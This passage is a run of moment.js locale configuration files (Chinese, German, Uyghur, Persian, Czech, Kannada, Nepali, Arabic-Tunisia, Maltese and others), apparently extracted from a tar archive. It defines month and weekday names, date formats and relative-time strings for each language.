lup'; case 'mm': return numberNoun + ' tup'; case 'hh': return numberNoun + ' rep'; case 'dd': return numberNoun + ' jaj'; case 'MM': return numberNoun + ' jar'; case 'yy': return numberNoun + ' DIS'; } } function numberAsNoun(number) { var hundred = Math.floor((number % 1000) / 100), ten = Math.floor((number % 100) / 10), one = number % 10, word = ''; if (hundred > 0) { word += numbersNouns[hundred] + 'vatlh'; } if (ten > 0) { word += ((word !== '') ? ' ' : '') + numbersNouns[ten] + 'maH'; } if (one > 0) { word += ((word !== '') ? ' ' : '') + numbersNouns[one]; } return (word === '') ? 'pagh' : word; } export default moment.defineLocale('tlh', { months : 'tera’ jar wa’_tera’ jar cha’_tera’ jar wej_tera’ jar loS_tera’ jar vagh_tera’ jar jav_tera’ jar Soch_tera’ jar chorgh_tera’ jar Hut_tera’ jar wa’maH_tera’ jar wa’maH wa’_tera’ jar wa’maH cha’'.split('_'), monthsShort : 'jar wa’_jar cha’_jar wej_jar loS_jar vagh_jar jav_jar Soch_jar chorgh_jar Hut_jar wa’maH_jar wa’maH wa’_jar wa’maH cha’'.split('_'), monthsParseExact : true, weekdays : 'lojmItjaj_DaSjaj_povjaj_ghItlhjaj_loghjaj_buqjaj_ghInjaj'.split('_'), weekdaysShort : 'lojmItjaj_DaSjaj_povjaj_ghItlhjaj_loghjaj_buqjaj_ghInjaj'.split('_'), weekdaysMin : 'lojmItjaj_DaSjaj_povjaj_ghItlhjaj_loghjaj_buqjaj_ghInjaj'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD.MM.YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd, D MMMM YYYY HH:mm' }, calendar : { sameDay: '[DaHjaj] LT', nextDay: '[wa’leS] LT', nextWeek: 'LLL', lastDay: '[wa’Hu’] LT', lastWeek: 'LLL', sameElse: 'L' }, relativeTime : { future : translateFuture, past : translatePast, s : 'puS lup', ss : translate, m : 'wa’ tup', mm : translate, h : 'wa’ rep', hh : translate, d : 'wa’ jaj', dd : translate, M : 'wa’ jar', MM : translate, y : 'wa’ DIS', yy : translate }, dayOfMonthOrdinalParse: /\d{1,2}\./, ordinal : '%d.', week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/zh-cn.js000064400000006530151677412270007400 0ustar00//! moment.js locale configuration //! locale : Chinese (China) [zh-cn] //! author : suupic : https://github.com/suupic //! author : Zeno Zeng : https://github.com/zenozeng import moment from '../moment'; export default moment.defineLocale('zh-cn', { months : '一月_二月_三月_四月_五月_六月_七月_八月_九月_十月_十一月_十二月'.split('_'), monthsShort : '1月_2月_3月_4月_5月_6月_7月_8月_9月_10月_11月_12月'.split('_'), weekdays : '星期日_星期一_星期二_星期三_星期四_星期五_星期六'.split('_'), weekdaysShort : '周日_周一_周二_周三_周四_周五_周六'.split('_'), weekdaysMin : '日_一_二_三_四_五_六'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'YYYY/MM/DD', LL : 'YYYY年M月D日', LLL : 'YYYY年M月D日Ah点mm分', LLLL : 'YYYY年M月D日ddddAh点mm分', l : 'YYYY/M/D', ll : 'YYYY年M月D日', lll : 'YYYY年M月D日 HH:mm', llll : 'YYYY年M月D日dddd HH:mm' }, meridiemParse: /凌晨|早上|上午|中午|下午|晚上/, meridiemHour: function (hour, meridiem) { if (hour === 12) { hour = 0; } if (meridiem === '凌晨' || meridiem === '早上' || meridiem === '上午') { return hour; } else if (meridiem === '下午' || meridiem === '晚上') { return hour + 12; } else { // '中午' return hour >= 11 ? hour : hour + 12; } }, meridiem : function (hour, minute, isLower) { var hm = hour * 100 + minute; if (hm < 600) { return '凌晨'; } else if (hm < 900) { return '早上'; } else if (hm < 1130) { return '上午'; } else if (hm < 1230) { return '中午'; } else if (hm < 1800) { return '下午'; } else { return '晚上'; } }, calendar : { sameDay : '[今天]LT', nextDay : '[明天]LT', nextWeek : '[下]ddddLT', lastDay : '[昨天]LT', lastWeek : '[上]ddddLT', sameElse : 'L' }, dayOfMonthOrdinalParse: /\d{1,2}(日|月|周)/, ordinal : function (number, period) { switch (period) { case 'd': case 'D': case 'DDD': return number + '日'; case 'M': return number + '月'; case 'w': case 'W': return number + '周'; default: return number; } }, relativeTime : { future : '%s内', past : '%s前', s : '几秒', ss : '%d 秒', m : '1 分钟', mm : '%d 分钟', h : '1 小时', hh : '%d 小时', d : '1 天', dd : '%d 天', M : '1 个月', MM : '%d 个月', y : '1 年', yy : '%d 年' }, week : { // GB/T 7408-1994《数据元和交换格式·信息交换·日期和时间表示法》与ISO 8601:1988等效 dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/de.js000064400000004733151677412270006754 0ustar00//! moment.js locale configuration //! locale : German [de] //! author : lluchs : https://github.com/lluchs //! author: Menelion Elensúle: https://github.com/Oire //! author : Mikolaj Dadela : https://github.com/mik01aj import moment from '../moment'; function processRelativeTime(number, withoutSuffix, key, isFuture) { var format = { 'm': ['eine Minute', 'einer Minute'], 'h': ['eine Stunde', 'einer Stunde'], 'd': ['ein Tag', 'einem Tag'], 'dd': [number + ' Tage', number + ' Tagen'], 'M': ['ein Monat', 'einem Monat'], 'MM': [number + ' Monate', number + ' Monaten'], 'y': ['ein Jahr', 'einem Jahr'], 'yy': [number + ' Jahre', number + ' Jahren'] }; return withoutSuffix ? format[key][0] : format[key][1]; } export default moment.defineLocale('de', { months : 'Januar_Februar_März_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember'.split('_'), monthsShort : 'Jan._Feb._März_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.'.split('_'), monthsParseExact : true, weekdays : 'Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag'.split('_'), weekdaysShort : 'So._Mo._Di._Mi._Do._Fr._Sa.'.split('_'), weekdaysMin : 'So_Mo_Di_Mi_Do_Fr_Sa'.split('_'), weekdaysParseExact : true, longDateFormat : { LT: 'HH:mm', LTS: 'HH:mm:ss', L : 'DD.MM.YYYY', LL : 'D. MMMM YYYY', LLL : 'D. MMMM YYYY HH:mm', LLLL : 'dddd, D. MMMM YYYY HH:mm' }, calendar : { sameDay: '[heute um] LT [Uhr]', sameElse: 'L', nextDay: '[morgen um] LT [Uhr]', nextWeek: 'dddd [um] LT [Uhr]', lastDay: '[gestern um] LT [Uhr]', lastWeek: '[letzten] dddd [um] LT [Uhr]' }, relativeTime : { future : 'in %s', past : 'vor %s', s : 'ein paar Sekunden', ss : '%d Sekunden', m : processRelativeTime, mm : '%d Minuten', h : processRelativeTime, hh : '%d Stunden', d : processRelativeTime, dd : processRelativeTime, M : processRelativeTime, MM : processRelativeTime, y : processRelativeTime, yy : processRelativeTime }, dayOfMonthOrdinalParse: /\d{1,2}\./, ordinal : '%d.', week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/ug-cn.js000064400000007603151677412270007374 0ustar00//! moment.js language configuration //! locale : Uyghur (China) [ug-cn] //! author: boyaq : https://github.com/boyaq import moment from '../moment'; export default moment.defineLocale('ug-cn', { months: 'يانۋار_فېۋرال_مارت_ئاپرېل_ماي_ئىيۇن_ئىيۇل_ئاۋغۇست_سېنتەبىر_ئۆكتەبىر_نويابىر_دېكابىر'.split( '_' ), monthsShort: 'يانۋار_فېۋرال_مارت_ئاپرېل_ماي_ئىيۇن_ئىيۇل_ئاۋغۇست_سېنتەبىر_ئۆكتەبىر_نويابىر_دېكابىر'.split( '_' ), weekdays: 'يەكشەنبە_دۈشەنبە_سەيشەنبە_چارشەنبە_پەيشەنبە_جۈمە_شەنبە'.split( '_' ), weekdaysShort: 'يە_دۈ_سە_چا_پە_جۈ_شە'.split('_'), weekdaysMin: 'يە_دۈ_سە_چا_پە_جۈ_شە'.split('_'), longDateFormat: { LT: 'HH:mm', LTS: 'HH:mm:ss', L: 'YYYY-MM-DD', LL: 'YYYY-يىلىM-ئاينىڭD-كۈنى', LLL: 'YYYY-يىلىM-ئاينىڭD-كۈنى، HH:mm', LLLL: 'dddd، YYYY-يىلىM-ئاينىڭD-كۈنى، HH:mm' }, meridiemParse: /يېرىم كېچە|سەھەر|چۈشتىن بۇرۇن|چۈش|چۈشتىن كېيىن|كەچ/, meridiemHour: function (hour, meridiem) { if (hour === 12) { hour = 0; } if ( meridiem === 'يېرىم كېچە' || meridiem === 'سەھەر' || meridiem === 'چۈشتىن بۇرۇن' ) { return hour; } else if (meridiem === 'چۈشتىن كېيىن' || meridiem === 'كەچ') { return hour + 12; } else { return hour >= 11 ? hour : hour + 12; } }, meridiem: function (hour, minute, isLower) { var hm = hour * 100 + minute; if (hm < 600) { return 'يېرىم كېچە'; } else if (hm < 900) { return 'سەھەر'; } else if (hm < 1130) { return 'چۈشتىن بۇرۇن'; } else if (hm < 1230) { return 'چۈش'; } else if (hm < 1800) { return 'چۈشتىن كېيىن'; } else { return 'كەچ'; } }, calendar: { sameDay: '[بۈگۈن سائەت] LT', nextDay: '[ئەتە سائەت] LT', nextWeek: '[كېلەركى] dddd [سائەت] LT', lastDay: '[تۆنۈگۈن] LT', lastWeek: '[ئالدىنقى] dddd [سائەت] LT', sameElse: 'L' }, relativeTime: { future: '%s كېيىن', past: '%s بۇرۇن', s: 'نەچچە سېكونت', ss: '%d سېكونت', m: 'بىر مىنۇت', mm: '%d مىنۇت', h: 'بىر سائەت', hh: '%d سائەت', d: 'بىر كۈن', dd: '%d كۈن', M: 'بىر ئاي', MM: '%d ئاي', y: 'بىر يىل', yy: '%d يىل' }, dayOfMonthOrdinalParse: /\d{1,2}(-كۈنى|-ئاي|-ھەپتە)/, ordinal: function (number, period) { switch (period) { case 'd': case 'D': case 'DDD': return number + '-كۈنى'; case 'w': case 'W': return number + '-ھەپتە'; default: return number; } }, preparse: function (string) { return string.replace(/،/g, ','); }, postformat: function (string) { return string.replace(/,/g, '،'); }, week: { // GB/T 7408-1994《数据元和交换格式·信息交换·日期和时间表示法》与ISO 8601:1988等效 dow: 1, // Monday is the first day of the week. doy: 7 // The week that contains Jan 1st is the first week of the year. } }); locale/fa.js000064400000006055151677412270006751 0ustar00//! moment.js locale configuration //! locale : Persian [fa] //! author : Ebrahim Byagowi : https://github.com/ebraminio import moment from '../moment'; var symbolMap = { '1': '۱', '2': '۲', '3': '۳', '4': '۴', '5': '۵', '6': '۶', '7': '۷', '8': '۸', '9': '۹', '0': '۰' }, numberMap = { '۱': '1', '۲': '2', '۳': '3', '۴': '4', '۵': '5', '۶': '6', '۷': '7', '۸': '8', '۹': '9', '۰': '0' }; export default moment.defineLocale('fa', { months : 'ژانویه_فوریه_مارس_آوریل_مه_ژوئن_ژوئیه_اوت_سپتامبر_اکتبر_نوامبر_دسامبر'.split('_'), monthsShort : 'ژانویه_فوریه_مارس_آوریل_مه_ژوئن_ژوئیه_اوت_سپتامبر_اکتبر_نوامبر_دسامبر'.split('_'), weekdays : 'یک\u200cشنبه_دوشنبه_سه\u200cشنبه_چهارشنبه_پنج\u200cشنبه_جمعه_شنبه'.split('_'), weekdaysShort : 'یک\u200cشنبه_دوشنبه_سه\u200cشنبه_چهارشنبه_پنج\u200cشنبه_جمعه_شنبه'.split('_'), weekdaysMin : 'ی_د_س_چ_پ_ج_ش'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd, D MMMM YYYY HH:mm' }, meridiemParse: /قبل از ظهر|بعد از ظهر/, isPM: function (input) { return /بعد از ظهر/.test(input); }, meridiem : function (hour, minute, isLower) { if (hour < 12) { return 'قبل از ظهر'; } else { return 'بعد از ظهر'; } }, calendar : { sameDay : '[امروز ساعت] LT', nextDay : '[فردا ساعت] LT', nextWeek : 'dddd [ساعت] LT', lastDay : '[دیروز ساعت] LT', lastWeek : 'dddd [پیش] [ساعت] LT', sameElse : 'L' }, relativeTime : { future : 'در %s', past : '%s پیش', s : 'چند ثانیه', ss : 'ثانیه d%', m : 'یک دقیقه', mm : '%d دقیقه', h : 'یک ساعت', hh : '%d ساعت', d : 'یک روز', dd : '%d روز', M : 'یک ماه', MM : '%d ماه', y : 'یک سال', yy : '%d سال' }, preparse: function (string) { return string.replace(/[۰-۹]/g, function (match) { return numberMap[match]; }).replace(/،/g, ','); }, postformat: function (string) { return string.replace(/\d/g, function (match) { return symbolMap[match]; }).replace(/,/g, '،'); }, dayOfMonthOrdinalParse: /\d{1,2}م/, ordinal : '%dم', week : { dow : 6, // Saturday is the first day of the week. doy : 12 // The week that contains Jan 1st is the first week of the year. } }); locale/bm.js000064400000003475151677412270006764 0ustar00//! moment.js locale configuration //! locale : Bambara [bm] //! author : Estelle Comment : https://github.com/estellecomment // Language contact person : Abdoufata Kane : https://github.com/abdoufata import moment from '../moment'; export default moment.defineLocale('bm', { months : 'Zanwuyekalo_Fewuruyekalo_Marisikalo_Awirilikalo_Mɛkalo_Zuwɛnkalo_Zuluyekalo_Utikalo_Sɛtanburukalo_ɔkutɔburukalo_Nowanburukalo_Desanburukalo'.split('_'), monthsShort : 'Zan_Few_Mar_Awi_Mɛ_Zuw_Zul_Uti_Sɛt_ɔku_Now_Des'.split('_'), weekdays : 'Kari_Ntɛnɛn_Tarata_Araba_Alamisa_Juma_Sibiri'.split('_'), weekdaysShort : 'Kar_Ntɛ_Tar_Ara_Ala_Jum_Sib'.split('_'), weekdaysMin : 'Ka_Nt_Ta_Ar_Al_Ju_Si'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD/MM/YYYY', LL : 'MMMM [tile] D [san] YYYY', LLL : 'MMMM [tile] D [san] YYYY [lɛrɛ] HH:mm', LLLL : 'dddd MMMM [tile] D [san] YYYY [lɛrɛ] HH:mm' }, calendar : { sameDay : '[Bi lɛrɛ] LT', nextDay : '[Sini lɛrɛ] LT', nextWeek : 'dddd [don lɛrɛ] LT', lastDay : '[Kunu lɛrɛ] LT', lastWeek : 'dddd [tɛmɛnen lɛrɛ] LT', sameElse : 'L' }, relativeTime : { future : '%s kɔnɔ', past : 'a bɛ %s bɔ', s : 'sanga dama dama', ss : 'sekondi %d', m : 'miniti kelen', mm : 'miniti %d', h : 'lɛrɛ kelen', hh : 'lɛrɛ %d', d : 'tile kelen', dd : 'tile %d', M : 'kalo kelen', MM : 'kalo %d', y : 'san kelen', yy : 'san %d' }, week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/cs.js000064400000014313151677412270006764 0ustar00//! moment.js locale configuration //! locale : Czech [cs] //! author : petrbela : https://github.com/petrbela import moment from '../moment'; var months = 'leden_únor_březen_duben_květen_červen_červenec_srpen_září_říjen_listopad_prosinec'.split('_'), monthsShort = 'led_úno_bře_dub_kvě_čvn_čvc_srp_zář_říj_lis_pro'.split('_'); function plural(n) { return (n > 1) && (n < 5) && (~~(n / 10) !== 1); } function translate(number, withoutSuffix, key, isFuture) { var result = number + ' '; switch (key) { case 's': // a few seconds / in a few seconds / a few seconds ago return (withoutSuffix || isFuture) ? 'pár sekund' : 'pár sekundami'; case 'ss': // 9 seconds / in 9 seconds / 9 seconds ago if (withoutSuffix || isFuture) { return result + (plural(number) ? 'sekundy' : 'sekund'); } else { return result + 'sekundami'; } break; case 'm': // a minute / in a minute / a minute ago return withoutSuffix ? 'minuta' : (isFuture ? 'minutu' : 'minutou'); case 'mm': // 9 minutes / in 9 minutes / 9 minutes ago if (withoutSuffix || isFuture) { return result + (plural(number) ? 'minuty' : 'minut'); } else { return result + 'minutami'; } break; case 'h': // an hour / in an hour / an hour ago return withoutSuffix ? 'hodina' : (isFuture ? 'hodinu' : 'hodinou'); case 'hh': // 9 hours / in 9 hours / 9 hours ago if (withoutSuffix || isFuture) { return result + (plural(number) ? 'hodiny' : 'hodin'); } else { return result + 'hodinami'; } break; case 'd': // a day / in a day / a day ago return (withoutSuffix || isFuture) ? 'den' : 'dnem'; case 'dd': // 9 days / in 9 days / 9 days ago if (withoutSuffix || isFuture) { return result + (plural(number) ? 'dny' : 'dní'); } else { return result + 'dny'; } break; case 'M': // a month / in a month / a month ago return (withoutSuffix || isFuture) ? 'měsíc' : 'měsícem'; case 'MM': // 9 months / in 9 months / 9 months ago if (withoutSuffix || isFuture) { return result + (plural(number) ? 'měsíce' : 'měsíců'); } else { return result + 'měsíci'; } break; case 'y': // a year / in a year / a year ago return (withoutSuffix || isFuture) ? 'rok' : 'rokem'; case 'yy': // 9 years / in 9 years / 9 years ago if (withoutSuffix || isFuture) { return result + (plural(number) ? 'roky' : 'let'); } else { return result + 'lety'; } break; } } export default moment.defineLocale('cs', { months : months, monthsShort : monthsShort, monthsParse : (function (months, monthsShort) { var i, _monthsParse = []; for (i = 0; i < 12; i++) { // use custom parser to solve problem with July (červenec) _monthsParse[i] = new RegExp('^' + months[i] + '$|^' + monthsShort[i] + '$', 'i'); } return _monthsParse; }(months, monthsShort)), shortMonthsParse : (function (monthsShort) { var i, _shortMonthsParse = []; for (i = 0; i < 12; i++) { _shortMonthsParse[i] = new RegExp('^' + monthsShort[i] + '$', 'i'); } return _shortMonthsParse; }(monthsShort)), longMonthsParse : (function (months) { var i, _longMonthsParse = []; for (i = 0; i < 12; i++) { _longMonthsParse[i] = new RegExp('^' + months[i] + '$', 'i'); } return _longMonthsParse; }(months)), weekdays : 'neděle_pondělí_úterý_středa_čtvrtek_pátek_sobota'.split('_'), weekdaysShort : 'ne_po_út_st_čt_pá_so'.split('_'), weekdaysMin : 'ne_po_út_st_čt_pá_so'.split('_'), longDateFormat : { LT: 'H:mm', LTS : 'H:mm:ss', L : 'DD.MM.YYYY', LL : 'D. MMMM YYYY', LLL : 'D. MMMM YYYY H:mm', LLLL : 'dddd D. MMMM YYYY H:mm', l : 'D. M. YYYY' }, calendar : { sameDay: '[dnes v] LT', nextDay: '[zítra v] LT', nextWeek: function () { switch (this.day()) { case 0: return '[v neděli v] LT'; case 1: case 2: return '[v] dddd [v] LT'; case 3: return '[ve středu v] LT'; case 4: return '[ve čtvrtek v] LT'; case 5: return '[v pátek v] LT'; case 6: return '[v sobotu v] LT'; } }, lastDay: '[včera v] LT', lastWeek: function () { switch (this.day()) { case 0: return '[minulou neděli v] LT'; case 1: case 2: return '[minulé] dddd [v] LT'; case 3: return '[minulou středu v] LT'; case 4: case 5: return '[minulý] dddd [v] LT'; case 6: return '[minulou sobotu v] LT'; } }, sameElse: 'L' }, relativeTime : { future : 'za %s', past : 'před %s', s : translate, ss : translate, m : translate, mm : translate, h : translate, hh : translate, d : translate, dd : translate, M : translate, MM : translate, y : translate, yy : translate }, dayOfMonthOrdinalParse : /\d{1,2}\./, ordinal : '%d.', week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/kn.js000064400000010261151677412270006765 0ustar00//! moment.js locale configuration //! locale : Kannada [kn] //! author : Rajeev Naik : https://github.com/rajeevnaikte import moment from '../moment'; var symbolMap = { '1': '೧', '2': '೨', '3': '೩', '4': '೪', '5': '೫', '6': '೬', '7': '೭', '8': '೮', '9': '೯', '0': '೦' }, numberMap = { '೧': '1', '೨': '2', '೩': '3', '೪': '4', '೫': '5', '೬': '6', '೭': '7', '೮': '8', '೯': '9', '೦': '0' }; export default moment.defineLocale('kn', { months : 'ಜನವರಿ_ಫೆಬ್ರವರಿ_ಮಾರ್ಚ್_ಏಪ್ರಿಲ್_ಮೇ_ಜೂನ್_ಜುಲೈ_ಆಗಸ್ಟ್_ಸೆಪ್ಟೆಂಬರ್_ಅಕ್ಟೋಬರ್_ನವೆಂಬರ್_ಡಿಸೆಂಬರ್'.split('_'), monthsShort : 'ಜನ_ಫೆಬ್ರ_ಮಾರ್ಚ್_ಏಪ್ರಿಲ್_ಮೇ_ಜೂನ್_ಜುಲೈ_ಆಗಸ್ಟ್_ಸೆಪ್ಟೆಂ_ಅಕ್ಟೋ_ನವೆಂ_ಡಿಸೆಂ'.split('_'), monthsParseExact: true, weekdays : 'ಭಾನುವಾರ_ಸೋಮವಾರ_ಮಂಗಳವಾರ_ಬುಧವಾರ_ಗುರುವಾರ_ಶುಕ್ರವಾರ_ಶನಿವಾರ'.split('_'), weekdaysShort : 'ಭಾನು_ಸೋಮ_ಮಂಗಳ_ಬುಧ_ಗುರು_ಶುಕ್ರ_ಶನಿ'.split('_'), weekdaysMin : 'ಭಾ_ಸೋ_ಮಂ_ಬು_ಗು_ಶು_ಶ'.split('_'), longDateFormat : { LT : 'A h:mm', LTS : 'A h:mm:ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY, A h:mm', LLLL : 'dddd, D MMMM YYYY, A h:mm' }, calendar : { sameDay : '[ಇಂದು] LT', nextDay : '[ನಾಳೆ] LT', nextWeek : 'dddd, LT', lastDay : '[ನಿನ್ನೆ] LT', lastWeek : '[ಕೊನೆಯ] dddd, LT', sameElse : 'L' }, relativeTime : { future : '%s ನಂತರ', past : '%s ಹಿಂದೆ', s : 'ಕೆಲವು ಕ್ಷಣಗಳು', ss : '%d ಸೆಕೆಂಡುಗಳು', m : 'ಒಂದು ನಿಮಿಷ', mm : '%d ನಿಮಿಷ', h : 'ಒಂದು ಗಂಟೆ', hh : '%d ಗಂಟೆ', d : 'ಒಂದು ದಿನ', dd : '%d ದಿನ', M : 'ಒಂದು ತಿಂಗಳು', MM : '%d ತಿಂಗಳು', y : 'ಒಂದು ವರ್ಷ', yy : '%d ವರ್ಷ' }, preparse: function (string) { return string.replace(/[೧೨೩೪೫೬೭೮೯೦]/g, function (match) { return numberMap[match]; }); }, postformat: function (string) { return string.replace(/\d/g, function (match) { return symbolMap[match]; }); }, meridiemParse: /ರಾತ್ರಿ|ಬೆಳಿಗ್ಗೆ|ಮಧ್ಯಾಹ್ನ|ಸಂಜೆ/, meridiemHour : function (hour, meridiem) { if (hour === 12) { hour = 0; } if (meridiem === 'ರಾತ್ರಿ') { return hour < 4 ? hour : hour + 12; } else if (meridiem === 'ಬೆಳಿಗ್ಗೆ') { return hour; } else if (meridiem === 'ಮಧ್ಯಾಹ್ನ') { return hour >= 10 ? hour : hour + 12; } else if (meridiem === 'ಸಂಜೆ') { return hour + 12; } }, meridiem : function (hour, minute, isLower) { if (hour < 4) { return 'ರಾತ್ರಿ'; } else if (hour < 10) { return 'ಬೆಳಿಗ್ಗೆ'; } else if (hour < 17) { return 'ಮಧ್ಯಾಹ್ನ'; } else if (hour < 20) { return 'ಸಂಜೆ'; } else { return 'ರಾತ್ರಿ'; } }, dayOfMonthOrdinalParse: /\d{1,2}(ನೇ)/, ordinal : function (number) { return number + 'ನೇ'; }, week : { dow : 0, // Sunday is the first day of the week. doy : 6 // The week that contains Jan 1st is the first week of the year. } }); locale/ar-tn.js000064400000003625151677412270007404 0ustar00//! moment.js locale configuration //! locale : Arabic (Tunisia) [ar-tn] //! author : Nader Toukabri : https://github.com/naderio import moment from '../moment'; export default moment.defineLocale('ar-tn', { months: 'جانفي_فيفري_مارس_أفريل_ماي_جوان_جويلية_أوت_سبتمبر_أكتوبر_نوفمبر_ديسمبر'.split('_'), monthsShort: 'جانفي_فيفري_مارس_أفريل_ماي_جوان_جويلية_أوت_سبتمبر_أكتوبر_نوفمبر_ديسمبر'.split('_'), weekdays: 'الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت'.split('_'), weekdaysShort: 'أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت'.split('_'), weekdaysMin: 'ح_ن_ث_ر_خ_ج_س'.split('_'), weekdaysParseExact : true, longDateFormat: { LT: 'HH:mm', LTS: 'HH:mm:ss', L: 'DD/MM/YYYY', LL: 'D MMMM YYYY', LLL: 'D MMMM YYYY HH:mm', LLLL: 'dddd D MMMM YYYY HH:mm' }, calendar: { sameDay: '[اليوم على الساعة] LT', nextDay: '[غدا على الساعة] LT', nextWeek: 'dddd [على الساعة] LT', lastDay: '[أمس على الساعة] LT', lastWeek: 'dddd [على الساعة] LT', sameElse: 'L' }, relativeTime: { future: 'في %s', past: 'منذ %s', s: 'ثوان', ss : '%d ثانية', m: 'دقيقة', mm: '%d دقائق', h: 'ساعة', hh: '%d ساعات', d: 'يوم', dd: '%d أيام', M: 'شهر', MM: '%d أشهر', y: 'سنة', yy: '%d سنوات' }, week: { dow: 1, // Monday is the first day of the week. doy: 4 // The week that contains Jan 4th is the first week of the year. } }); locale/ne.js000064400000007724151677412270006771 0ustar00//! moment.js locale configuration //! locale : Nepalese [ne] //! author : suvash : https://github.com/suvash import moment from '../moment'; var symbolMap = { '1': '१', '2': '२', '3': '३', '4': '४', '5': '५', '6': '६', '7': '७', '8': '८', '9': '९', '0': '०' }, numberMap = { '१': '1', '२': '2', '३': '3', '४': '4', '५': '5', '६': '6', '७': '7', '८': '8', '९': '9', '०': '0' }; export default moment.defineLocale('ne', { months : 'जनवरी_फेब्रुवरी_मार्च_अप्रिल_मई_जुन_जुलाई_अगष्ट_सेप्टेम्बर_अक्टोबर_नोभेम्बर_डिसेम्बर'.split('_'), monthsShort : 'जन._फेब्रु._मार्च_अप्रि._मई_जुन_जुलाई._अग._सेप्ट._अक्टो._नोभे._डिसे.'.split('_'), monthsParseExact : true, weekdays : 'आइतबार_सोमबार_मङ्गलबार_बुधबार_बिहिबार_शुक्रबार_शनिबार'.split('_'), weekdaysShort : 'आइत._सोम._मङ्गल._बुध._बिहि._शुक्र._शनि.'.split('_'), weekdaysMin : 'आ._सो._मं._बु._बि._शु._श.'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'Aको h:mm बजे', LTS : 'Aको h:mm:ss बजे', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY, Aको h:mm बजे', LLLL : 'dddd, D MMMM YYYY, Aको h:mm बजे' }, preparse: function (string) { return string.replace(/[१२३४५६७८९०]/g, function (match) { return numberMap[match]; }); }, postformat: function (string) { return string.replace(/\d/g, function (match) { return symbolMap[match]; }); }, meridiemParse: /राति|बिहान|दिउँसो|साँझ/, meridiemHour : function (hour, meridiem) { if (hour === 12) { hour = 0; } if (meridiem === 'राति') { return hour < 4 ? hour : hour + 12; } else if (meridiem === 'बिहान') { return hour; } else if (meridiem === 'दिउँसो') { return hour >= 10 ? hour : hour + 12; } else if (meridiem === 'साँझ') { return hour + 12; } }, meridiem : function (hour, minute, isLower) { if (hour < 3) { return 'राति'; } else if (hour < 12) { return 'बिहान'; } else if (hour < 16) { return 'दिउँसो'; } else if (hour < 20) { return 'साँझ'; } else { return 'राति'; } }, calendar : { sameDay : '[आज] LT', nextDay : '[भोलि] LT', nextWeek : '[आउँदो] dddd[,] LT', lastDay : '[हिजो] LT', lastWeek : '[गएको] dddd[,] LT', sameElse : 'L' }, relativeTime : { future : '%sमा', past : '%s अगाडि', s : 'केही क्षण', ss : '%d सेकेण्ड', m : 'एक मिनेट', mm : '%d मिनेट', h : 'एक घण्टा', hh : '%d घण्टा', d : 'एक दिन', dd : '%d दिन', M : 'एक महिना', MM : '%d महिना', y : 'एक बर्ष', yy : '%d बर्ष' }, week : { dow : 0, // Sunday is the first day of the week. doy : 6 // The week that contains Jan 1st is the first week of the year. } }); locale/mt.js000064400000003275151677412270007004 0ustar00//! moment.js locale configuration //! locale : Maltese (Malta) [mt] //! author : Alessandro Maruccia : https://github.com/alesma import moment from '../moment'; export default moment.defineLocale('mt', { months : 'Jannar_Frar_Marzu_April_Mejju_Ġunju_Lulju_Awwissu_Settembru_Ottubru_Novembru_Diċembru'.split('_'), monthsShort : 'Jan_Fra_Mar_Apr_Mej_Ġun_Lul_Aww_Set_Ott_Nov_Diċ'.split('_'), weekdays : 'Il-Ħadd_It-Tnejn_It-Tlieta_L-Erbgħa_Il-Ħamis_Il-Ġimgħa_Is-Sibt'.split('_'), weekdaysShort : 'Ħad_Tne_Tli_Erb_Ħam_Ġim_Sib'.split('_'), weekdaysMin : 'Ħa_Tn_Tl_Er_Ħa_Ġi_Si'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd, D MMMM YYYY HH:mm' }, calendar : { sameDay : '[Illum fil-]LT', nextDay : '[Għada fil-]LT', nextWeek : 'dddd [fil-]LT', lastDay : '[Il-bieraħ fil-]LT', lastWeek : 'dddd [li għadda] [fil-]LT', sameElse : 'L' }, relativeTime : { future : 'f’ %s', past : '%s ilu', s : 'ftit sekondi', ss : '%d sekondi', m : 'minuta', mm : '%d minuti', h : 'siegħa', hh : '%d siegħat', d : 'ġurnata', dd : '%d ġranet', M : 'xahar', MM : '%d xhur', y : 'sena', yy : '%d sni' }, dayOfMonthOrdinalParse : /\d{1,2}º/, ordinal: '%dº', week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/fr-ch.js000064400000004426151677412270007362 0ustar00//! moment.js locale configuration //! locale : French (Switzerland) [fr-ch] //! author : Gaspard Bucher : https://github.com/gaspard import moment from '../moment'; export default moment.defineLocale('fr-ch', { months : 'janvier_février_mars_avril_mai_juin_juillet_août_septembre_octobre_novembre_décembre'.split('_'), monthsShort : 'janv._févr._mars_avr._mai_juin_juil._août_sept._oct._nov._déc.'.split('_'), monthsParseExact : true, weekdays : 'dimanche_lundi_mardi_mercredi_jeudi_vendredi_samedi'.split('_'), weekdaysShort : 'dim._lun._mar._mer._jeu._ven._sam.'.split('_'), weekdaysMin : 